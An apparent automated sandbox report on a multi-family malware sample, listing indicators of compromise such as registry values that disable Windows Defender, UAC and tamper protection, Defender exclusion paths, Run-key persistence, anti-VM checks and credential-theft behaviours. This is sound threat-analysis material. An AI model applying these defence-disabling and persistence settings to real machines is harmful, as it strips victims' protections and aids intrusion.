ammyyadmin | 2fcad226b17131da4274e1b9f8f31359bdd325c9568665f08fd1f6c5d06a23ce

Processes:

images.exe_vti_cnf.exeWattyl.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe RVHOST.exe"	images.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe RVHOST.exe"	_vti_cnf.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "Explorer.exe RVHOST.exe"	Wattyl.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 5 IoCs

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

Processes:

niks.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	niks.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableScanOnRealtimeEnable = "1"	niks.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableBehaviorMonitoring = "1"	niks.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableIOAVProtection = "1"	niks.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableOnAccessProtection = "1"	niks.exe

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 3 IoCs

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\Files\1.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\1000409001\new.exe	family_redline
C:\Users\Admin\AppData\Roaming\configurationValue\bott.exe	family_redline

Remcos
Remcos is a closed-source remote control and surveillance software.
rat remcos
Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 5 IoCs

Processes:

ghjk.exeasdfg.exeMsBuild.exepinguin.exedialer.exe

description	pid	process	target process
PID 5524 created 2936	5524	ghjk.exe	sihost.exe
PID 6216 created 2936	6216	asdfg.exe	sihost.exe
PID 6736 created 2936	6736	MsBuild.exe	sihost.exe
PID 7960 created 3772	7960	pinguin.exe	4363463463464363463463463.bin.exe
PID 7412 created 2936	7412	dialer.exe	sihost.exe

SystemBC
SystemBC is a proxy and remote administration tool first seen in 2019.
trojan systembc
UAC bypass 3 TTPs 1 IoCs
evasion trojan

Bypass User Account Control
T1548.002

Disable or Modify Tools
T1562.001

Modify Registry
T1112

Processes:

File300un.exe

description ioc process

Set value (int) \REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0" File300un.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	File300un.exe

Windows security bypass 2 TTPs 9 IoCs

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

d21cbe21e38b385a41a68c5e6dd32f4c.exeFile300un.exe

description	ioc	process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	File300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d21cbe21e38b385a41a68c5e6dd32f4c.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe = "0"	File300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe

Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm
ZGRat
ZGRat is remote access trojan written in C#.
rat zgrat
xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
miner xmrig

Identifies VirtualBox via ACPI registry values (likely anti-VM) 2 TTPs 16 IoCs

Query Registry

Virtualization/Sandbox Evasion

Processes:

ladas.exeexplorgu.exeexplorgu.execmd.exefilename.exeexplorgu.exeexplorgu.exeupdater.exeexplorgu.exeamert.exeladas.exeexplorgu.exeexplorgu.exeexplorgu.exeniks.exeexplorgu.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ladas.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	cmd.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	filename.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	updater.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	amert.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	ladas.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	niks.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\ACPI\DSDT\VBOX__	explorgu.exe

Renames multiple (181) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware
Renames multiple (213) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

XMRig Miner payload 8 IoCs

miner

Processes:

resource	yara_rule
behavioral2/memory/2392-452-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-468-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-474-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-470-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-478-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-476-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-496-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig
behavioral2/memory/2392-497-0x0000000140000000-0x00000001407DC000-memory.dmp	xmrig

Blocklisted process makes network request 2 IoCs

Processes:

msiexec.exerundll32.exe

flow pid process

339 4288 msiexec.exe
377 5140 rundll32.exe
Creates new service(s) 1 TTPs
persistence

Windows Service
T1543.003

flow	pid	process
339	4288	msiexec.exe
377	5140	rundll32.exe

Disables RegEdit via registry modification 3 IoCs

Processes:

_vti_cnf.exeWattyl.exeimages.exe

description	ioc	process
Set value (int)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	_vti_cnf.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	Wattyl.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Policies\System\DisableRegistryTools = "1"	images.exe

Disables Task Manager via registry modification
evasion
Downloads MZ/PE file
Drops file in Drivers directory 1 IoCs

Processes:

filename.exe

description ioc process

File created C:\Windows\system32\drivers\etc\hosts filename.exe
Modifies Windows Firewall 2 TTPs 1 IoCs
evasion

Windows Service
T1543.003

Disable or Modify System Firewall
T1562.004

Processes:

netsh.exe

pid process

4584 netsh.exe
Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

description	ioc	process
File created	C:\Windows\system32\drivers\etc\hosts	filename.exe

pid	process
4584	netsh.exe

ACProtect 1.3x - 1.4x DLL software 1 IoCs

Detects file using ACProtect software.

Processes:

resource	yara_rule
C:\Users\Admin\AppData\Local\Temp\skin.dll	acprotect

Checks BIOS information in registry 2 TTPs 36 IoCs

BIOS information is often read in order to detect sandboxing environments.

Query Registry

System Information Discovery

Processes:

amert.exeexplorgu.exeexplorgu.exeladas.exeredline1234min.exeexplorgu.execmd.exeexplorgu.exeexplorgu.exeexplorgu.exeiojmibhyhiws.exeniks.exeupdater.exeexplorgu.exeladas.exeexplorgu.exeexplorgu.exefilename.exe

description	ioc	process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ladas.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	redline1234min.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	cmd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	amert.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	cmd.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	iojmibhyhiws.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	niks.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ladas.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	ladas.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	updater.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	filename.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	filename.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	niks.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	iojmibhyhiws.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\SystemBiosVersion	explorgu.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	ladas.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\VideoBiosVersion	redline1234min.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

System Information Discovery

Processes:

explorgu.exehiuhehufw.exe1800.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\International\Geo\Nation	explorgu.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\International\Geo\Nation	hiuhehufw.exe
Key value queried	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Control Panel\International\Geo\Nation	1800.exe

Drops startup file 6 IoCs

Processes:

cmd.exesc.exeSTAR.exeNINJA.exe

description	ioc	process
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MiConfig.lnk	cmd.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sc.exe	sc.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\sc.exe	sc.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\qemu-ga.exe	STAR.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\SBADLH.lnk	NINJA.exe
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\MiConfig.lnk	cmd.exe

Executes dropped EXE 64 IoCs

Processes:

dayroc.exenine.exed21cbe21e38b385a41a68c5e6dd32f4c.exetoolspub1.exeapp1.exe6.exeStealerClient_Sharp_1_4.exema.exe.exed21cbe21e38b385a41a68c5e6dd32f4c.exe7e207560.exepowershell.exe7e207560.exeBBLb.exeosminogs.exeghjk.exeFile300un.exesc.exea5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe1.exe721E.exeConhost.exe96CD.execsrss.exeinstaller.exejune.exejune.tmpConhost.exeBEF8.exefor.exeasdfg.exebeacon_certutil.exeghjkl.exeSTAR.exebott.exeConhost.exefirefox.exe96CD.exeD48.exebuild2.exebuild2.exebuild3.exeqemu-ga.exe4AD0.exeghjk.exeghjk.exeinstall.execmd.exefilename.exe.exebuild3.exesyncUpd.exeniks.exeamert.exeexplorgu.exeinstall.exeexplorgu.exefu.exeladas.exemstsca.exedota.exeupdater.exe

pid	process
648	dayroc.exe
5068	nine.exe
524	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3500	toolspub1.exe
4160	app1.exe
1468	6.exe
2636	StealerClient_Sharp_1_4.exe
992	ma.exe
4800	.exe
2784	d21cbe21e38b385a41a68c5e6dd32f4c.exe
3516	7e207560.exe
2132	powershell.exe
2640	7e207560.exe
4696	BBLb.exe
4288	osminogs.exe
4812	ghjk.exe
664	File300un.exe
2124	sc.exe
4840	a5d66a7d45ad000c9925a7cc663df2a8944fcd5cf8de64533ea36f545599ca39.exe
516	1.exe
4068	721E.exe
2292	Conhost.exe
4268	96CD.exe
2172	csrss.exe
4388	installer.exe
3492	june.exe
4556	june.tmp
2176	Conhost.exe
1668	BEF8.exe
876	for.exe
4028	asdfg.exe
4776	beacon_certutil.exe
356	ghjkl.exe
2676	STAR.exe
32	bott.exe
1600	Conhost.exe
4480	firefox.exe
2572	96CD.exe
1864	D48.exe
5072	build2.exe
1336	build2.exe
4360	build3.exe
652	qemu-ga.exe
5132	4AD0.exe
4696	BBLb.exe
5564	ghjk.exe
5524	ghjk.exe
5428	install.exe
5852	cmd.exe
5020	filename.exe
5576	.exe
1332	build3.exe
5996	syncUpd.exe
2888	niks.exe
4040	amert.exe
4516	explorgu.exe
2944	install.exe
5428	install.exe
5840	explorgu.exe
4308	fu.exe
1368	ladas.exe
5864	mstsca.exe
4900	dota.exe
2664	updater.exe

Identifies Wine through registry keys 2 TTPs 14 IoCs

Wine is a compatibility layer capable of running Windows applications, which can be used as sandboxing environment.

Query Registry

Virtualization/Sandbox Evasion

Processes:

niks.exeamert.exeladas.exeexplorgu.exeexplorgu.exeladas.exeexplorgu.exeexplorgu.exeexplorgu.exeexplorgu.exeexplorgu.execmd.exeexplorgu.exeexplorgu.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	niks.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	amert.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	ladas.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	ladas.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	cmd.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Wine	explorgu.exe

Loads dropped DLL 64 IoCs

Processes:

june.tmpConhost.exeinstall.exerundll32.exerty37.exesyncUpd.exeUser%20OOBE%20Broker.exerundll32.exeNational.exejet.exenative.exeMsiExec.exehiuhehufw.exeransom_builder.exeapril.tmpliveupdate.exeregisters.exe

pid	process
4556	june.tmp
1600	Conhost.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
5428	install.exe
3888	rundll32.exe
5984	rty37.exe
5996	syncUpd.exe
5996	syncUpd.exe
5968	User%20OOBE%20Broker.exe
5140	rundll32.exe
5968	User%20OOBE%20Broker.exe
6896	National.exe
5968	User%20OOBE%20Broker.exe
7836	jet.exe
7836	jet.exe
7840	native.exe
6788	MsiExec.exe
3332	hiuhehufw.exe
6392	ransom_builder.exe
6392	ransom_builder.exe
6392	ransom_builder.exe
6156	april.tmp
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
6892	liveupdate.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe
8148	registers.exe
8148	registers.exe
5968	User%20OOBE%20Broker.exe
5968	User%20OOBE%20Broker.exe

Modifies file permissions 1 TTPs 1 IoCs
discovery

File and Directory Permissions Modification
T1222

Processes:

icacls.exe

pid process

4872 icacls.exe
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads local data of messenger clients 2 TTPs
Infostealers often target stored data of messaging applications, which can include saved credentials and account information.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

pid	process
4872	icacls.exe

UPX packed file 13 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

Processes:

resource	yara_rule
behavioral2/memory/2392-437-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-438-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-452-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-444-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-468-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-474-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-470-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-478-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-476-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-496-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
behavioral2/memory/2392-497-0x0000000140000000-0x00000001407DC000-memory.dmp	upx
C:\Users\Admin\AppData\Local\Temp\upx.exe	upx
C:\Users\Admin\AppData\Local\Temp\skin.dll	upx

Uses the VBS compiler for execution 1 TTPs

Scripting
T1064

Windows security modification 2 TTPs 12 IoCs

Disable or Modify Tools

T1562.001

Modify Registry

Processes:

File300un.exed21cbe21e38b385a41a68c5e6dd32f4c.exeniks.exe

description	ioc	process
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions	File300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\csrss = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\windefender.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\csrss.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\windefender.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths	File300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Exclusions\Paths\C:\Users\Admin\AppData\Local\Temp\Files\File300un.exe = "0"	File300un.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\rss = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\C:\Windows\System32\drivers = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows Defender\Exclusions\Processes\d21cbe21e38b385a41a68c5e6dd32f4c.exe = "0"	d21cbe21e38b385a41a68c5e6dd32f4c.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features	niks.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows Defender\Features\TamperProtection = "0"	niks.exe

Accesses Microsoft Outlook profiles 1 TTPs 6 IoCs

collection

Email Collection

T1114

Processes:

openwith.exe

description	ioc	process
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook	openwith.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Office\10.0\Outlook\Profiles\Outlook	openwith.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Office\11.0\Outlook\Profiles\Outlook	openwith.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Office\12.0\Outlook\Profiles\Outlook	openwith.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook	openwith.exe
Key opened	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook	openwith.exe

Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials In Files
T1552.001

Adds Run key to start application 2 TTPs 20 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

Processes:

96CD.execsrss.exeimages.exeasg.exenpp.8.6.2.Installer.x64.exesc.exeexplorgu.exenpp86Installerx64.exe1800.exeviewer.exed21cbe21e38b385a41a68c5e6dd32f4c.exeNINJA.exe_vti_cnf.exeTemp1.exeWattyl.exe23.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\SysHelper = "\"C:\\Users\\Admin\\AppData\\Local\\24d0272b-cda1-42f8-be99-bd7f28cf6634\\96CD.exe\" --AutoStart"	96CD.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\csrss = "\"C:\\Windows\\rss\\csrss.exe\""	csrss.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\Yahoo Messengger = "C:\\Windows\\system32\\RVHOST.exe"	images.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\WSUS Update Client = "\"C:\\Windows\\SysWOW64\\SubDir\\asg.exe\""	asg.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\cvvchost = "C:\\Users\\Admin\\AppData\\Local\\cvvchost.exe"	npp.8.6.2.Installer.x64.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\sc.exe = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\sc.exe"	sc.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3063448957-1373478339-3486599166-1000\Software\Microsoft\Windows\CurrentVersion\Run\fu.exe = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1000031001\\fu.exe"	explorgu.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\RunOnce\wextract_cleanup0 = "rundll32.exe C:\\Windows\\system32\\advpack.dll,DelNodeRunDLL32 \"C:\\Users\\Admin\\AppData\\Local\\Temp\\IXP000.TMP\\\""	npp86Installerx64.exe
